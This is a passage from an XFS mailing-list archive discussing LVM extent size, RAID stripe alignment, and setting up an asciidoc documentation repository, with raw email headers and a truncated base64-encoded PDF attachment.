the > filesystem/hardware is still flinging data at the RAID lun. Only > once the controller has complete stripe widths will it calculate > parity and write back the data, thereby avoiding a RMW cycle.... ------- >> In addition, does this in effect mean that when it comes to LVM, extent >> size makes no difference for alignment purposes? So I don't have to >> worry about anything other that aligning the beginning and ending of >> logical volumes, volume groups, etc. to 9216 sector multiples? > > No, you still have to align everything to the underlying storage so > that the filesystem on top of the volumes is correctly aligned. > Where the data will be written (i.e. howthe filesystem allocates the > underlying blocks) determines the IO alignment of sequential/large > user IOs, and that matters far more than the size of the sequntial > IOs the kernel uses to write the data. After a little digging and thinking this through... The default PE size is 4MB but up to 16GB with LVM1, and apparently unlimited size with LVM2. It can be a few thousand times larger than any sane stripe width. This makes it pretty clear that PEs exist strictly for volume management operations, used by the LVM tools, but have no relationship to regular write IOs. Thus the PE size need not match nor be evenly divisible by the stripe width. It's not part of the alignment equation. -- Stan From david@fromorbit.com Tue Feb 4 02:11:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 522F77F51 for ; Tue, 4 Feb 2014 02:11:08 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id D03AAAC003 for ; Tue, 4 Feb 2014 00:11:04 -0800 (PST) X-ASG-Debug-ID: 1391501455-04bdf0121fec930001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id yhM3iKfV23u7z0SM for ; Tue, 04 Feb 2014 00:10:56 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnAUAKSf8FJ5LGaB/2dsb2JhbABZgww4gwamBwOQDYVSGG0XdIIlAQEBBEURFwUHEAgbCRoLAg0FBh8DIROIBA7OORcWjGOBMy4bB4MkgRQEkD+BMoY4gTOQb4FvgVIogS0 Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 04 Feb 2014 18:40:53 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WAa5m-00011W-3V; Tue, 04 Feb 2014 18:06:46 +1100 Date: Tue, 4 Feb 2014 18:06:46 +1100 From: Dave Chinner To: Stan Hoeppner Cc: xfs Subject: documentation framework [was Re: relationship of nested stripe sizes, was: Question regarding XFS on LVM over hardware RAID.] Message-ID: <20140204070646.GA13997@dastard> X-ASG-Orig-Subj: documentation framework [was Re: relationship of nested stripe sizes, was: Question regarding XFS on LVM over hardware RAID.] References: <7A732267-B34F-4286-9B49-3AF8767C0B89@colorremedies.com> <52ED4143.6090303@hardwarefreak.com> <52ED6AAF.6030703@hardwarefreak.com> <98961D3F-769D-44A9-98A8-FC7867893138@colorremedies.com> <20140202213030.GQ2212@dastard> <52EF1D76.6070302@hardwarefreak.com> <20140203052415.GQ13997@dastard> <52EF6301.5040406@hardwarefreak.com> <20140203215411.GS13997@dastard> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="UugvWAfsgieZRqgk" Content-Disposition: inline In-Reply-To: <20140203215411.GS13997@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1391501455 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: powerman.name X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144818 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- --UugvWAfsgieZRqgk Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Tue, Feb 04, 2014 at 08:54:11AM +1100, Dave Chinner wrote: > On Mon, Feb 03, 2014 at 03:36:01AM -0600, Stan Hoeppner wrote: > > On 2/2/2014 11:24 PM, Dave Chinner wrote: > > > On Sun, Feb 02, 2014 at 10:39:18PM -0600, Stan Hoeppner wrote: > > >> On 2/2/2014 3:30 PM, Dave Chinner wrote: > > ... > > >>> And that is why this is a perfect example of what I'd like to see > > >>> people writing documentation for. > > >>> > > >>> http://oss.sgi.com/archives/xfs/2013-12/msg00588.html > > >>> > > >>> This is not the first time we've had this nested RAID discussion, > > >>> nor will it be the last. However, being able to point ot a web page > > >>> or or documentation makes it a whole lot easier..... > > >>> > > >>> Stan - any chance you might be able to spare an hour a week to write > > >>> something about optimal RAID storage configuration for XFS? > > >> > > >> I could do more, probably rather quickly. What kind of scope, format, > > >> style? Should this be structured as reference manual style > > >> documentation, FAQ, blog?? I'm leaning more towards reference style. > > > > > > Agreed - reference style is probably best. As for format style, I'm > > > tending towards a simple, text editor friendly markup like asciidoc. > > > From there we can use it to generate PDFs, wiki documentation, etc > > > and so make it available in whatever format is convenient. > > > > Works for me, I'm a plain text kinda guy. > > Ok, I'll put together a basic repository and build framework for us > to work from. Stan, run: $ git clone git://oss.sgi.com/xfs/xfs-documentation to get a tree that contains the framework for building asciidoc files into html and pdf format. Note that you can't find it from gitweb of oss.sgi.com yet because I don't have permissions to add it to the project list, but you can browse it directly from: http://oss.sgi.com/cgi-bin/gitweb.cgi/xfs/xfs-documentation I've attached the pdf output of the document I quickly converted from text to asciidoc format so you can get an idea of how easy it is to convert plain txt to asciidoc, and how good the output from just using defaults and simple markup is. A good cheat sheet for asciidoc markup can be found here: http://powerman.name/doc/asciidoc Time to start learning how to use guilt and sending patches. ;) FWIW, where do we want to locate your new document? It is end user/admin documentation, so perhaps a new user/ subdirectory to indicate the target of the documentation? Cheers, Dave. -- Dave Chinner david@fromorbit.com --UugvWAfsgieZRqgk Content-Type: application/pdf Content-Disposition: attachment; filename="xfs-delayed-logging-design.pdf" Content-Transfer-Encoding: base64 JVBERi0xLjUKJdDUxdgKNiAwIG9iaiA8PAovTGVuZ3RoIDI0NCAgICAgICAKL0ZpbHRlciAv RmxhdGVEZWNvZGUKPj4Kc3RyZWFtCnjalZCxagMxDIZ3P4XGu6E6yT7b8lrSKw1dSm4ohAyh l5qDXELoUPL2tZ0czdAMnYSkn0/+TBCB4Fk99qrpfICAwWkH/SdYhy4Y8CFVz9APsK7eu1X9 oC1Vi91+e94Nl+b1GON4iPPma4yHetMvm04IJPGcKTwS1K1L1wpqzBH11KuT4jQj4N+LGsVY +JjUekMwpN0SCNsg8F2SE1gm1Caz9rBSb4quFvdqsRMGFrTBcX4Oi0FiCy159CS3fl6KX62p OtdMVfFMw+SZ26trSc2udy//JWg9Bmr/43dSQheGnSEmIDnJkOZlYlgcb77hB9F2ZvEKZW5k c3RyZWFtCmVuZG9iago0IDAgb2JqIDw8Ci9UeXBlIC9YT2JqZWN0Ci9TdWJ0eXBlIC9JbWFn ZQovV2lkdGggODAKL0hlaWdodCAxNQovQml0c1BlckNvbXBvbmVudCA4Ci9Db2xvclNwYWNl IC9EZXZpY2VSR0IKL0xlbmd0aCAxNDggICAgICAgCi9GaWx0ZXIgL0ZsYXRlRGVjb2RlCj4+ CnN0cmVhbQp42u2WQQ6AIAwEfW3/4BO8+GW8FdLSZTEmagrh0IaaMhkIiqQbJc2ovLI9MEs5 zv2zc/Hm5a0nnkh7vFqiabtktmEqow911VeauNtrwNsGUQp5u4E/A1EB2DwIQK85v4aX9gvM RrxAVmSf6UX5xbpn/PK87/hldNP3F/Pi++tdY7937u96jxbvr3kz/T+nGheQuqgoCmVuZHN0 cmVhbQplbmRvYmoKMTUgMCBvYmogPDwKL0xlbmd0aCA0ODcgICAgICAgCi9GaWx0ZXIgL0Zs YXRlRGVjb2RlCj4+CnN0cmVhbQp42sWWS2vbQBSF9/oVdyktejNz571MGrlxyKO11NISsihx Igx5ELIo/fe5ki3FtUqofQ1dmLGk4Tuac86IUdCAgk/ZUZ0dTEKChMmTh/oOnEefDITEY9BQ z+Eq/z6pig/kVH58e//z9+18eXH21DSLx6Z/8rJoHovr+vRgEhVE5nnT8ZRHco7VOtRi0c7J yjp7zjTfVKDfJAmjcXDzkF1dK5jzs1NQaFOEX93MB3BaIRnP/++hyr5karWMN5bXyGKBh6Ds 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 COkBemg8MJuhLi2IkhlnN84sEebA5N8Z6RH51QLypz53erWCkpUbkqM/ToLvR7gLglfd9HJ7 AhycxM4Ev4/yqEQjM40Ph2NPra3yQ2zshjXnQYxSOfcFvkCB3n7g1vGdy5NWKTfmXj+PuqcF iNdii0AfN39qXrycuasV/yrtBaGtVn9ePuhG8SHNkh1gvkOYy5NUdFg/+mZg3d+4O+B5bueT hFl+NUNrWTgDtx/NQ0/in93D3U3Ryw8ntjJ+36h+NVV16fQwNmolMW5xAVssb9ib63k73u/u +dCOyytNf3s1ICKs7VJ6dtg33VSDLOOb6aSY8IfooxIlv1OiWUigt816duzLO825vCd3WNMD qXvRVJxiXd7P1N3j+OK4FvPX5jf2Pd1c5T9lbtM9Tw+qfOcp4zrEC2WEEEt9chbgNYe7Is74 qDDZpjBfdNOm+JsJzJE9ddoFEWCu8XcEIh+dNv/oHkA4I/E7Z1i94BVl7fRk7a1+8deG1fO2 SMsZ7083UzV2OfX6zx7PzvST4yFzpp/8H3/3mP7kspozPByz0v3tI4kOoftzSXKINud7O5h+ +hcJqsP+mYHu9j9JkkMaz51pOr9fA1ctZ5imaxSyvrOoJDxU/iJCbvexskKaFPGzUB/cBcSP o5XgNtJ7hrsj8dcfqxwzdXfyGKkGJ2uje8KqaeqUgQ+XojhfPQum9lE0dYAQl4oPs1uQBdvz Ev/aQIvN+ckDvxN2ykuXEJezfTmGntW3suBQWF3RvJbXPmETMD+bzIP53L15Lsble3KRS/Hk leNfPIzkpaT7pSBrJ7Nvflz1Tfmh5nq29Y+qFCwjTH/PH6r+By2IWecKZW5kc3RyZWFtCmVu ZG9iago3NCAwIG9iaiA8PAovTGVuZ3RoIDI3NDggICAgICAKL0ZpbHRlciAvRmxhdGVEZWNv ZGUKPj4Kc3RyZWFtCnja7RrLkiO37T5foZtbtSttvx+5reOsvS678vBUKlVrH6huSqK31ZT7 YWX+PgABsh/qmdSufXBVosM0CYIgCAIgAI6/OW38zdcPXz4+vHmXFZtiX6Rhunk8bpJ0nxbR JivgmwWbx2rzwfvXux+2uzDxva9kLZ5kRZ3v9OmkmpMd6dSp2f70+O2bd7m/yYFeGiG9OM/2 uR/BaoZUBOhZ7r2hT+DjjIe/PD788hAAir8JRgbCfR4lm/Ly8OEnf1PB2Lcbfx8X+eZmMC+b 